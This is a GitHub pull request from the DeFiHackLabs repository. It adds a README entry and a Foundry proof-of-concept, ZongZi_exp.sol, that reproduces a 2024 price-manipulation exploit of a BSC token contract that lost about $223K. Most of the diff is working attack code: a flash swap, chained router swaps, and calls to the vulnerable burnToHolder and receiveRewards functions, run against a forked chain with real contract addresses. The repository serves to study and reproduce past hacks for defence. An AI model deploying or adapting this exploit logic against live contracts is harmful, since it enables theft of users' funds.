Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add ZongZi exp #593

Merged
merged 1 commit into from
Mar 26, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 24 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

**Reproduce DeFi hack incidents using Foundry.**

374 incidents included.
375 incidents included.

Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)

Expand Down Expand Up @@ -34,6 +34,9 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
- Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )

## List of Past DeFi Incidents

[20240325 ZongZi](#20240325-zongzi---price-manipulation)

[20240314 ARK](#20240324-ark---business-logic-flaw)

[20240321 SSS](#20240321-sss---token-balance-doubles-on-transfer-to-self)
Expand Down Expand Up @@ -816,14 +819,32 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

### List of DeFi Hacks & POCs

### 20240325 ZongZi - Price Manipulation

### Lost: ~223K

```
forge test --contracts src/test/ZongZi_exp.sol -vvv
```

#### Contract

[ZongZi_exp.sol](src/test/ZongZi_exp.sol)

#### Link reference

https://twitter.com/0xNickLFranklin/status/1772195949638775262

---

### 20240321 SSS - Token Balance Doubles on Transfer to self

### Lost: 4.8M


```sh
forge test --contracts ./src/test/SSS_exp.sol -vvv
```

#### Contract

### 20240324 ARK - business logic flaw
Expand All @@ -845,6 +866,7 @@ https://twitter.com/Phalcon_xyz/status/1771728823534375249
---

[SSS_exp.sol](src/test/SSS_exp.sol)

### Link reference

https://twitter.com/dot_pengun/status/1770989208125272481
Expand Down
160 changes: 160 additions & 0 deletions src/test/ZongZi_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,160 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~$223K
// Attacker : https://bscscan.com/address/0x2c42824ef89d6efa7847d3997266b62599560a26
// Attack Contract : https://bscscan.com/address/0x0bd0d9ba4f52db225b265c3cffa7bc4a418d22a9
// Vuln Contract : https://bscscan.com/address/0xb7a254237e05ccca0a756f75fb78ab2df222911b
// Attack txs : https://phalcon.blocksec.com/explorer/tx/bsc/0x247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f

// @Analysis
// https://twitter.com/0xNickLFranklin/status/1772195949638775262

interface IZZF is IERC20 {
function burnToHolder(uint256 amount, address _invitation) external;

function receiveRewards(address to) external;
}

contract ContractTest is Test {
IWETH private constant WBNB =
IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
IERC20 private constant ZongZi =
IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);
Uni_Pair_V2 private constant BUSDT_WBNB =
Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
Uni_Pair_V2 private constant WBNB_ZONGZI =
Uni_Pair_V2(0xD695C08a4c3B9FC646457aD6b0DC0A3b8f1219fe);
Uni_Router_V2 private constant Router =
Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address private constant attackContract =
0x0bd0D9BA4f52dB225B265c3Cffa7bc4a418D22A9;
bytes32 private constant attackTx =
hex"247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f";

function setUp() public {
vm.createSelectFork("bsc", attackTx);
vm.label(address(WBNB), "WBNB");
vm.label(address(ZongZi), "ZongZi");
vm.label(address(BUSDT_WBNB), "BUSDT_WBNB");
vm.label(address(WBNB_ZONGZI), "WBNB_ZONGZI");
vm.label(address(Router), "Router");
}

function testExploit() public {
emit log_named_decimal_uint(
"Exploiter WBNB balance before attack",
WBNB.balanceOf(address(this)),
18
);

uint256 pairWBNBBalance = WBNB.balanceOf(address(WBNB_ZONGZI));
uint256 multiplier = uint256(
vm.load(attackContract, bytes32(uint256(9)))
);

uint256 amount1Out = (pairWBNBBalance * multiplier) /
((pairWBNBBalance * 100) / address(ZongZi).balance);

BUSDT_WBNB.swap(0, amount1Out, address(this), abi.encode(uint8(1)));

emit log_named_decimal_uint(
"Exploiter WBNB balance after attack",
WBNB.balanceOf(address(this)),
18
);
}

function pancakeCall(
address _sender,
uint256 _amount0,
uint256 _amount1,
bytes calldata _data
) external {
Helper helper = new Helper();
WBNB.transfer(address(helper), _amount1);
helper.exploit();

ZongZi.approve(address(Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(ZongZi);
path[1] = address(WBNB);

Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
ZongZi.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp + 86400
);
WBNB.transfer(address(BUSDT_WBNB), (_amount1 * 10026) / 10000);
}
}

contract Helper {
IWETH private constant WBNB =
IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
IERC20 private constant ZongZi =
IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);
IZZF private constant ZZF =
IZZF(0xB7a254237E05cccA0a756f75FB78Ab2Df222911b);
Uni_Router_V2 private constant Router =
Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);

function exploit() external {
WBNB.approve(address(Router), type(uint256).max);
ZongZi.approve(address(Router), type(uint256).max);
uint256 balanceBeforeWBNB = WBNB.balanceOf(address(this));

makeSwap(1e17, address(WBNB), address(ZongZi));
makeSwap(
ZongZi.balanceOf(address(this)),
address(ZongZi),
address(WBNB)
);

uint256 amountIn = balanceBeforeWBNB - 1e17;
makeSwap(amountIn, address(WBNB), address(ZongZi));

uint256 amountOut = address(ZongZi).balance - 1e9;
address[] memory path = new address[](2);
path[0] = address(ZongZi);
path[1] = address(WBNB);
uint256[] memory amounts = Router.getAmountsIn(amountOut, path);

ZZF.burnToHolder(amounts[0], msg.sender);
ZZF.receiveRewards(address(this));

makeSwap(
ZongZi.balanceOf(address(this)),
address(ZongZi),
address(WBNB)
);

WBNB.deposit{value: address(this).balance}();
WBNB.transfer(msg.sender, WBNB.balanceOf(address(this)));
}

function makeSwap(
uint256 amountIn,
address tokenA,
address tokenB
) private {
address[] memory path = new address[](2);
path[0] = tokenA;
path[1] = tokenB;

Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amountIn,
0,
path,
address(this),
block.timestamp + 86400
);
}

receive() external payable {}
}
Loading